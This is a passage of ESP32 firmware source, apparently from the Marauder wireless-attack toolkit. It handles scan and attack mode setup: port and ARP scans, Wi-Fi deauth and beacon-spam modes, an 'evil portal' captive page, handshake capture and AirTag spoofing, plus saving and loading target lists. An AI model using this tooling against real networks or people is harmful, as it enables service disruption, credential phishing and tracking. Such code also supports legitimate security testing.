(scan_mode == GPS_POI) { RunSetupGPSTracker(scan_mode); } else if (scan_mode == WIFI_PING_SCAN) RunPingScan(scan_mode, color); else if (scan_mode == WIFI_ARP_SCAN) RunPingScan(scan_mode, color); else if (scan_mode == WIFI_PORT_SCAN_ALL) RunPortScanAll(scan_mode, color); else if (scan_mode == WIFI_SCAN_SSH) RunPortScanAll(scan_mode, color); else if (scan_mode == WIFI_SCAN_TELNET) RunPortScanAll(scan_mode, color); else if (scan_mode == WIFI_SCAN_SMTP) RunPortScanAll(scan_mode, color); else if (scan_mode == WIFI_SCAN_DNS) RunPortScanAll(scan_mode, color); else if (scan_mode == WIFI_SCAN_HTTP) RunPortScanAll(scan_mode, color); else if (scan_mode == WIFI_SCAN_HTTPS) RunPortScanAll(scan_mode, color); else if (scan_mode == WIFI_SCAN_RDP) RunPortScanAll(scan_mode, color); this->currentScanMode = scan_mode; } void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) { // Common wifi attack configurations #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString((String)title_string,TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); #endif //wifi_ap_config_t ap_config; //ap_config.ssid_hidden = 1; ap_config.ap.ssid_hidden = 1; ap_config.ap.beacon_interval = 10000; ap_config.ap.ssid_len = 0; packets_sent = 0; esp_wifi_init(&cfg); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_AP); esp_wifi_set_config(WIFI_IF_AP, &ap_config); esp_wifi_start(); this->setMac(); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); //WiFi.mode(WIFI_AP_STA); //esp_wifi_init(&cfg); //esp_wifi_set_storage(WIFI_STORAGE_RAM); //esp_wifi_set_mode(WIFI_AP_STA); //esp_wifi_start(); //esp_wifi_set_promiscuous_filter(NULL); esp_wifi_set_promiscuous(true); esp_wifi_set_max_tx_power(82); this->wifi_initialized = true; #ifdef HAS_FLIPPER_LED flipper_led.attackLED(); #elif defined(XIAO_ESP32_S3) xiao_led.attackLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.attackLED(); #else led_obj.setMode(MODE_ATTACK); #endif initTime = millis(); } bool WiFiScan::shutdownWiFi() { if (this->wifi_initialized) { if (!this->wifi_connected) { esp_wifi_set_promiscuous(false); WiFi.disconnect(); WiFi.mode(WIFI_OFF); dst_mac = "ff:ff:ff:ff:ff:ff"; esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_stop(); esp_wifi_restore(); esp_wifi_deinit(); esp_netif_deinit(); } #ifdef HAS_FLIPPER_LED flipper_led.offLED(); #elif defined(XIAO_ESP32_S3) xiao_led.offLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.offLED(); #else led_obj.setMode(MODE_OFF); #endif this->_analyzer_value = 0; if (!this->wifi_connected) this->wifi_initialized = false; return true; } else { return false; } } bool WiFiScan::shutdownBLE() { #ifdef HAS_BT if (this->ble_initialized) { Serial.println("Shutting down BLE"); pAdvertising->stop(); pBLEScan->stop(); pBLEScan->clearResults(); NimBLEDevice::deinit(); this->_analyzer_value = 0; this->ble_initialized = false; } else { return false; } #ifdef HAS_FLIPPER_LED flipper_led.offLED(); #elif defined(XIAO_ESP32_S3) xiao_led.offLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.offLED(); #else led_obj.setMode(MODE_OFF); #endif #endif return true; } // Pinescan cleanup int WiFiScan::clearPineScanTrackers() { int num_cleared = pinescan_trackers->size() + confirmed_pinescan->size(); pinescan_trackers->clear(); confirmed_pinescan->clear(); pinescan_list_full_reported = false; return num_cleared; } // MultiSSID Cleanup int WiFiScan::clearMultiSSID() { int num_cleared = multissid_trackers->size() + confirmed_multissid->size(); multissid_trackers->clear(); confirmed_multissid->clear(); multissid_list_full_reported = false; return num_cleared; } // Function to stop all wifi scans void WiFiScan::StopScan(uint8_t scan_mode) { if ((currentScanMode == WIFI_SCAN_PROBE) || (currentScanMode == WIFI_SCAN_AP) || (currentScanMode == WIFI_SCAN_WAR_DRIVE) || (currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) || (currentScanMode == WIFI_SCAN_EVIL_PORTAL) || (currentScanMode == WIFI_SCAN_RAW_CAPTURE) || (currentScanMode == WIFI_SCAN_STATION) || (currentScanMode == WIFI_SCAN_SIG_STREN) || (currentScanMode == WIFI_SCAN_TARGET_AP) || (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) || (currentScanMode == WIFI_SCAN_AP_STA) || (currentScanMode == WIFI_PING_SCAN) || (currentScanMode == WIFI_ARP_SCAN) || (currentScanMode == WIFI_PORT_SCAN_ALL) || (currentScanMode == WIFI_SCAN_SSH) || (currentScanMode == WIFI_SCAN_TELNET) || (currentScanMode == WIFI_SCAN_SMTP) || (currentScanMode == WIFI_SCAN_DNS) || (currentScanMode == WIFI_SCAN_HTTP) || (currentScanMode == WIFI_SCAN_HTTPS) || (currentScanMode == WIFI_SCAN_RDP) || (currentScanMode == WIFI_SCAN_PWN) || (currentScanMode == WIFI_SCAN_PINESCAN) || (currentScanMode == WIFI_SCAN_MULTISSID) || (currentScanMode == WIFI_SCAN_EAPOL) || (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) || (currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) || (currentScanMode == WIFI_SCAN_ALL) || (currentScanMode == WIFI_SCAN_DEAUTH) || (currentScanMode == WIFI_ATTACK_BEACON_LIST) || (currentScanMode == WIFI_ATTACK_BEACON_SPAM) || (currentScanMode == WIFI_ATTACK_AUTH) || (currentScanMode == WIFI_ATTACK_DEAUTH) || (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) || (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) || (currentScanMode == WIFI_ATTACK_BAD_MSG_TARGETED) || (currentScanMode == WIFI_ATTACK_BAD_MSG) || (currentScanMode == WIFI_ATTACK_SLEEP) || (currentScanMode == WIFI_ATTACK_SLEEP_TARGETED) || (currentScanMode == WIFI_ATTACK_MIMIC) || (currentScanMode == WIFI_ATTACK_RICK_ROLL) || (currentScanMode == WIFI_ATTACK_FUNNY_BEACON) || (currentScanMode == WIFI_PACKET_MONITOR) || (currentScanMode == WIFI_SCAN_CHAN_ANALYZER) || (currentScanMode == WIFI_SCAN_PACKET_RATE) || (currentScanMode == WIFI_CONNECTED) || (currentScanMode == LV_JOIN_WIFI) || (this->wifi_initialized)) { this->shutdownWiFi(); if (!this->wifi_connected) { this->connected_network = ""; this->ip_addr = IPAddress(0, 0, 0, 0); this->gateway = IPAddress(0, 0, 0, 0); this->subnet = IPAddress(0, 0, 0, 0); } #ifdef HAS_SCREEN for (int i = 0; i < TFT_WIDTH; i++) { this->_analyzer_values[i] = 0; } this->analyzer_name_string = ""; this->analyzer_name_update = true; this->mgmt_frames = 0; this->data_frames = 0; this->beacon_frames = 0; this->req_frames = 0; this->resp_frames = 0; this->deauth_frames = 0; this->eapol_frames = 0; this->min_rssi = 0; this->max_rssi = -128; evil_portal_obj.cleanup(); #endif evil_portal_obj.has_ap = false; } else if ((currentScanMode == GPS_TRACKER) || (currentScanMode == GPS_POI)) { this->writeFooter(currentScanMode == GPS_POI); } else if ((currentScanMode == BT_SCAN_ALL) || (currentScanMode == BT_SCAN_AIRTAG) || (currentScanMode == BT_SCAN_FLIPPER) || (currentScanMode == BT_ATTACK_SOUR_APPLE) || (currentScanMode == BT_ATTACK_SWIFTPAIR_SPAM) || (currentScanMode == BT_ATTACK_SPAM_ALL) || (currentScanMode == BT_ATTACK_SAMSUNG_SPAM) || (currentScanMode == BT_ATTACK_GOOGLE_SPAM) || (currentScanMode == BT_ATTACK_FLIPPER_SPAM) || (currentScanMode == BT_SPOOF_AIRTAG) || (currentScanMode == BT_SCAN_WAR_DRIVE) || (currentScanMode == BT_SCAN_WAR_DRIVE_CONT) || (currentScanMode == BT_SCAN_SKIMMERS) || (currentScanMode == BT_SCAN_ANALYZER)) { #ifdef HAS_BT #ifdef HAS_SCREEN for (int i = 0; i < TFT_WIDTH; i++) { this->_analyzer_values[i] = 0; } this->analyzer_name_string = ""; this->analyzer_name_update = true; #endif this->shutdownBLE(); #endif } #ifdef HAS_SCREEN display_obj.display_buffer->clear(); #ifdef SCREEN_BUFFER display_obj.screen_buffer->clear(); #endif //Serial.print("display_buffer->size(): "); Serial.println(display_obj.display_buffer->size()); display_obj.tteBar = false; #endif #ifdef HAS_GPS gps_obj.disable_queue(); #endif } String WiFiScan::getStaMAC() { char *buf; uint8_t mac[6]; char macAddrChr[18] = {0}; esp_wifi_init(&cfg2); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_STA); esp_wifi_start(); this->setMac(); esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_STA, mac); this->wifi_initialized = true; sprintf(macAddrChr, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); this->shutdownWiFi(); return String(macAddrChr); } String WiFiScan::getApMAC() { char *buf; uint8_t mac[6]; char macAddrChr[18] = {0}; esp_wifi_init(&cfg2); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_AP); esp_wifi_start(); this->setMac(); esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac); this->wifi_initialized = true; sprintf(macAddrChr, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); this->shutdownWiFi(); return String(macAddrChr); } bool WiFiScan::mac_cmp(struct mac_addr addr1, struct mac_addr addr2) { //Return true if 2 mac_addr structs are equal. for (int y = 0; y < 6 ; y++) { if (addr1.bytes[y] != addr2.bytes[y]) { return false; } } return true; } bool WiFiScan::seen_mac(unsigned char* mac) { //Return true if this MAC address is in the recently seen array. struct mac_addr tmp; for (int x = 0; x < 6 ; x++) { tmp.bytes[x] = mac[x]; } for (int x = 0; x < mac_history_len; x++) { if (this->mac_cmp(tmp, mac_history[x])) { return true; } } return false; } void WiFiScan::save_mac(unsigned char* mac) { //Save a MAC address into the recently seen array. if (this->mac_history_cursor >= mac_history_len) { this->mac_history_cursor = 0; } struct mac_addr tmp; for (int x = 0; x < 6 ; x++) { tmp.bytes[x] = mac[x]; } mac_history[this->mac_history_cursor] = tmp; this->mac_history_cursor++; } String WiFiScan::security_int_to_string(int security_type) { //Provide a security type int from WiFi.encryptionType(i) to convert it to a String which Wigle CSV expects. String authtype = ""; switch (security_type) { case WIFI_AUTH_OPEN: authtype = "[OPEN]"; break; case WIFI_AUTH_WEP: authtype = "[WEP]"; break; case WIFI_AUTH_WPA_PSK: authtype = "[WPA_PSK]"; break; case WIFI_AUTH_WPA2_PSK: authtype = "[WPA2_PSK]"; break; case WIFI_AUTH_WPA_WPA2_PSK: authtype = "[WPA_WPA2_PSK]"; break; case WIFI_AUTH_WPA2_ENTERPRISE: authtype = "[WPA2]"; break; //Requires at least v2.0.0 of https://github.com/espressif/arduino-esp32/ case WIFI_AUTH_WPA3_PSK: authtype = "[WPA3_PSK]"; break; case WIFI_AUTH_WPA2_WPA3_PSK: authtype = "[WPA2_WPA3_PSK]"; break; case WIFI_AUTH_WAPI_PSK: authtype = "[WAPI_PSK]"; break; default: authtype = "[UNDEFINED]"; } return authtype; } void WiFiScan::clearMacHistory() { for (int i = 0; i < mac_history_len; ++i) { memset(mac_history[i].bytes, 0, sizeof(mac_history[i].bytes)); } } String WiFiScan::freeRAM() { char s[150]; sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size()); this->free_ram = String(esp_get_free_heap_size()); return String(s); } void WiFiScan::startPcap(String file_name) { buffer_obj.pcapOpen( file_name, #if defined(HAS_SD) sd_obj.supported ? &SD : #endif NULL, save_serial // Set with commandline options ); } void WiFiScan::startLog(String file_name) { buffer_obj.logOpen( file_name, #if defined(HAS_SD) sd_obj.supported ? &SD : #endif NULL, save_serial // Set with commandline options ); } void WiFiScan::startGPX(String file_name) { buffer_obj.gpxOpen( file_name, #if defined(HAS_SD) sd_obj.supported ? &SD : #endif NULL, save_serial // Set with commandline options ); } void WiFiScan::parseBSSID(const char* bssidStr, uint8_t* bssid) { sscanf(bssidStr, "%02X:%02X:%02X:%02X:%02X:%02X", &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]); } void WiFiScan::RunPingScan(uint8_t scan_mode, uint16_t color) { if (scan_mode == WIFI_PING_SCAN) startLog("pingscan"); else if (scan_mode == WIFI_ARP_SCAN) startLog("arpscan"); #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); if (scan_mode == WIFI_PING_SCAN) display_obj.tft.drawCentreString("Ping Scan",TFT_WIDTH / 2,16,2); else if (scan_mode == WIFI_ARP_SCAN) display_obj.tft.drawCentreString("ARP Scan",TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_RED, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif this->current_scan_ip = this->gateway; Serial.println("Cleared IPs: " + (String)this->clearIPs()); if (scan_mode == WIFI_PING_SCAN) Serial.println("Starting Ping Scan with..."); else if (scan_mode == WIFI_ARP_SCAN) Serial.println("Starting ARP Scan with..."); Serial.print("IP address: "); Serial.println(this->ip_addr); Serial.print("Gateway: "); Serial.println(this->gateway); Serial.print("Netmask: "); Serial.println(this->subnet); Serial.print("MAC: "); Serial.println(WiFi.macAddress()); if (scan_mode == WIFI_PING_SCAN) buffer_obj.append("Starting Ping Scan with..."); else if (scan_mode == WIFI_ARP_SCAN) buffer_obj.append("\nSSID: " + (String)this->connected_network); buffer_obj.append("\nIP address: "); buffer_obj.append(this->ip_addr.toString()); buffer_obj.append("\nGateway: "); buffer_obj.append(this->gateway.toString()); buffer_obj.append("\nNetmask: "); buffer_obj.append(this->subnet.toString()); buffer_obj.append("\nMAC: "); buffer_obj.append((String)WiFi.macAddress()); buffer_obj.append("\n"); this->scan_complete = false; //if (scan_mode == WIFI_ARP_SCAN) // this->fullARP(); initTime = millis(); } void WiFiScan::RunPortScanAll(uint8_t scan_mode, uint16_t color) { if (scan_mode == WIFI_SCAN_SSH) startLog("sshscan"); else if (scan_mode == WIFI_SCAN_TELNET) startLog("telnetscan"); else if (scan_mode == WIFI_SCAN_SMTP) startLog("smtp"); else if (scan_mode == WIFI_SCAN_DNS) startLog("dns"); else if (scan_mode == WIFI_SCAN_HTTP) startLog("http"); else if (scan_mode == WIFI_SCAN_HTTPS) startLog("https"); else if (scan_mode == WIFI_SCAN_RDP) startLog("rdp"); else startLog("portscan"); #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); if (scan_mode == WIFI_PORT_SCAN_ALL) display_obj.tft.drawCentreString("Port Scan All",TFT_WIDTH / 2,16,2); else if (scan_mode == WIFI_SCAN_SSH) display_obj.tft.drawCentreString("SSH Scan",TFT_WIDTH / 2,16,2); else if (scan_mode == WIFI_SCAN_TELNET) display_obj.tft.drawCentreString("Telnet Scan",TFT_WIDTH / 2,16,2); else if (scan_mode == WIFI_SCAN_SMTP) display_obj.tft.drawCentreString("SMTP Scan",TFT_WIDTH / 2,16,2); else if (scan_mode == WIFI_SCAN_DNS) display_obj.tft.drawCentreString("DNS Scan",TFT_WIDTH / 2,16,2); else if (scan_mode == WIFI_SCAN_HTTP) display_obj.tft.drawCentreString("HTTP Scan",TFT_WIDTH / 2,16,2); else if (scan_mode == WIFI_SCAN_HTTPS) display_obj.tft.drawCentreString("HTTPS Scan",TFT_WIDTH / 2,16,2); else if (scan_mode == WIFI_SCAN_RDP) display_obj.tft.drawCentreString("RDP Scan",TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_RED, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif this->current_scan_port = 0; if ((scan_mode == WIFI_SCAN_SSH) || (scan_mode == WIFI_SCAN_TELNET) || (scan_mode == WIFI_SCAN_SMTP) || (scan_mode == WIFI_SCAN_DNS) || (scan_mode == WIFI_SCAN_HTTP) || (scan_mode == WIFI_SCAN_HTTPS) || (scan_mode == WIFI_SCAN_RDP)) this->current_scan_ip = this->gateway; Serial.println("Starting Port Scan with..."); Serial.print("IP address: "); Serial.println(this->ip_addr); Serial.print("Gateway: "); Serial.println(this->gateway); Serial.print("Netmask: "); Serial.println(this->subnet); Serial.print("MAC: "); Serial.println(WiFi.macAddress()); buffer_obj.append("Starting Port Scan with..."); buffer_obj.append("\nSSID: " + (String)this->connected_network); buffer_obj.append("\nIP address: "); buffer_obj.append(this->ip_addr.toString()); buffer_obj.append("\nGateway: "); buffer_obj.append(this->gateway.toString()); buffer_obj.append("\nNetmask: "); buffer_obj.append(this->subnet.toString()); buffer_obj.append("\nMAC: "); buffer_obj.append((String)WiFi.macAddress()); buffer_obj.append("\n"); this->scan_complete = false; initTime = millis(); } void WiFiScan::RunLoadATList() { #ifdef HAS_SD // Prepare to access the file File file = sd_obj.getFile("/Airtags_0.log"); if (!file) { Serial.println("Could not open /Airtags_0.log"); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.println("Could not open /Airtags_0.log"); #endif return; } // Prepare JSON DynamicJsonDocument doc(10048); DeserializationError error = deserializeJson(doc, file); if (error) { Serial.print("JSON deserialize error: "); Serial.println(error.c_str()); file.close(); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.println("Could not deserialize JSON"); display_obj.tft.println(error.c_str()); #endif return; } JsonArray array = doc.as(); for (JsonObject obj : array) { AirTag at; at.mac = obj["mac"].as(); at.payloadSize = obj["payload_size"]; at.payload = hexStringToByteArray(obj["payload"].as()); at.selected = false; airtags->add(at); } file.close(); //doc.clear(); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.print("Loaded Airtags: "); display_obj.tft.println((String)airtags->size()); #endif Serial.print("Loaded Airtags:"); Serial.println((String)airtags->size()); #endif } void WiFiScan::RunSaveATList(bool save_as) { #ifdef HAS_SD if (save_as) { sd_obj.removeFile("/Airtags_0.log"); this->startLog("Airtags"); DynamicJsonDocument jsonDocument(2048); JsonArray jsonArray = jsonDocument.to(); for (int i = 0; i < airtags->size(); i++) { const AirTag& at = airtags->get(i); JsonObject jsonAt = jsonArray.createNestedObject(); jsonAt["mac"] = at.mac; jsonAt["payload"] = byteArrayToHexString(at.payload); jsonAt["payload_size"] = at.payloadSize; } String jsonString; serializeJson(jsonArray, jsonString); buffer_obj.append(jsonString); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.print("Saved Airtags: "); display_obj.tft.println((String)airtags->size()); #endif Serial.print("Saved Airtags:"); Serial.println((String)airtags->size()); } #endif } void WiFiScan::RunLoadAPList() { #ifdef HAS_SD File file = sd_obj.getFile("/APs_0.log"); if (!file) { Serial.println("Could not open /APs_0.log"); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.println("Could not open /APs_0.log"); #endif return; } DynamicJsonDocument doc(10048); DeserializationError error = deserializeJson(doc, file); if (error) { Serial.print("JSON deserialize error: "); Serial.println(error.c_str()); file.close(); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.println("Could not deserialize JSON"); display_obj.tft.println(error.c_str()); #endif return; } JsonArray array = doc.as(); for (JsonObject obj : array) { AccessPoint ap; ap.essid = obj.containsKey("essid") ? obj["essid"].as() : ""; ap.channel = obj.containsKey("channel") ? obj["channel"].as() : 1; ap.selected = false; if (obj.containsKey("bssid")) { parseBSSID(obj["bssid"], ap.bssid); } else { memset(ap.bssid, 0, 6); // Zero BSSID if missing } ap.stations = new LinkedList(); ap.rssi = obj.containsKey("rssi") ? obj["rssi"].as() : -127; ap.packets = obj.containsKey("packet") ? obj["packet"].as() : 0; ap.sec = obj.containsKey("sec") ? obj["sec"].as() : 0; ap.wps = obj.containsKey("wps") ? obj["wps"].as() : false; ap.man = obj.containsKey("man") ? obj["man"].as() : "Unknown"; access_points->add(ap); Serial.println("Got: " + ap.essid); } file.close(); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.print("Loaded APs: "); display_obj.tft.println((String)access_points->size()); #endif Serial.print("Loaded APs:"); Serial.println((String)access_points->size()); #endif } void WiFiScan::RunSaveAPList(bool save_as) { #ifdef HAS_SD if (save_as) { sd_obj.removeFile("/APs_0.log"); this->startLog("APs"); DynamicJsonDocument jsonDocument(2048); JsonArray jsonArray = jsonDocument.to(); for (int i = 0; i < access_points->size(); i++) { const AccessPoint& ap = access_points->get(i); JsonObject jsonAp = jsonArray.createNestedObject(); jsonAp["essid"] = ap.essid; jsonAp["channel"] = ap.channel; char bssidStr[18]; sprintf(bssidStr, "%02X:%02X:%02X:%02X:%02X:%02X", ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]); jsonAp["bssid"] = bssidStr; jsonAp["rssi"] = ap.rssi; jsonAp["packets"] = ap.packets; jsonAp["sec"] = ap.sec; jsonAp["wps"] = ap.wps; jsonAp["man"] = ap.man; } String jsonString; serializeJson(jsonArray, jsonString); buffer_obj.append(jsonString); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.print("Saved APs: "); display_obj.tft.println((String)access_points->size()); #endif Serial.print("Saved APs:"); Serial.println((String)access_points->size()); } #endif } void WiFiScan::RunLoadSSIDList() { #ifdef HAS_SD File log_file = sd_obj.getFile("/SSIDs_0.log"); if (!log_file) { Serial.println("Could not open /SSIDs_0.log"); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.println("Could not open /SSIDs_0.log"); #endif return; } while (log_file.available()) { String line = log_file.readStringUntil('\n'); // Read until newline character this->addSSID(line); } #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.print("Loaded SSIDs: "); display_obj.tft.println((String)ssids->size()); #endif log_file.close(); Serial.print("Loaded SSIDs: "); Serial.println((String)ssids->size()); #endif } void WiFiScan::RunSaveSSIDList(bool save_as) { #ifdef HAS_SD if (save_as) { sd_obj.removeFile("/SSIDs_0.log"); this->startLog("SSIDs"); for (int i = 0; i < ssids->size(); i++) { if (i < ssids->size() - 1) buffer_obj.append(ssids->get(i).essid + "\n"); else buffer_obj.append(ssids->get(i).essid); } #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.print("Saved SSIDs: "); display_obj.tft.println((String)ssids->size()); #endif Serial.print("Saved SSIDs: "); Serial.println((String)ssids->size()); } #endif } void WiFiScan::RunEvilPortal(uint8_t scan_mode, uint16_t color) { startLog("evil_portal"); #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_WHITE, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString(" Evil Portal ",TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_MAGENTA, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif #ifdef HAS_DUAL_BAND esp_wifi_init(&cfg); //esp_wifi_set_country(&country); #endif evil_portal_obj.begin(ssids, access_points); //if (!evil_portal_obj.begin(ssids, access_points)) { // Serial.println("Could not successfully start EvilPortal. Setting WIFI_SCAN_OFF..."); // this->StartScan(WIFI_SCAN_OFF, TFT_MAGENTA); // return; //} //else // Serial.println("Setup EvilPortal. Current mode: " + this->currentScanMode); this->wifi_initialized = true; initTime = millis(); } // Function to start running a beacon scan void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color) { if (scan_mode != WIFI_SCAN_AP_STA) startPcap("ap"); else startPcap("ap_sta"); #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif Serial.println(text_table4[9] + (String)access_points->size()); #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); if (scan_mode != WIFI_SCAN_AP_STA) display_obj.tft.setTextColor(TFT_WHITE, color); else display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); if (scan_mode != WIFI_SCAN_AP_STA) display_obj.tft.drawCentreString(text_table4[44],TFT_WIDTH / 2,16,2); else display_obj.tft.drawCentreString("Scan AP/STA",TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif delete access_points; access_points = new LinkedList(); esp_netif_init(); esp_event_loop_create_default(); esp_wifi_init(&cfg2); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_filter(&filt); esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); this->wifi_initialized = true; initTime = millis(); } #ifdef HAS_SCREEN void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) { #ifdef HAS_TOUCH display_obj.init(); 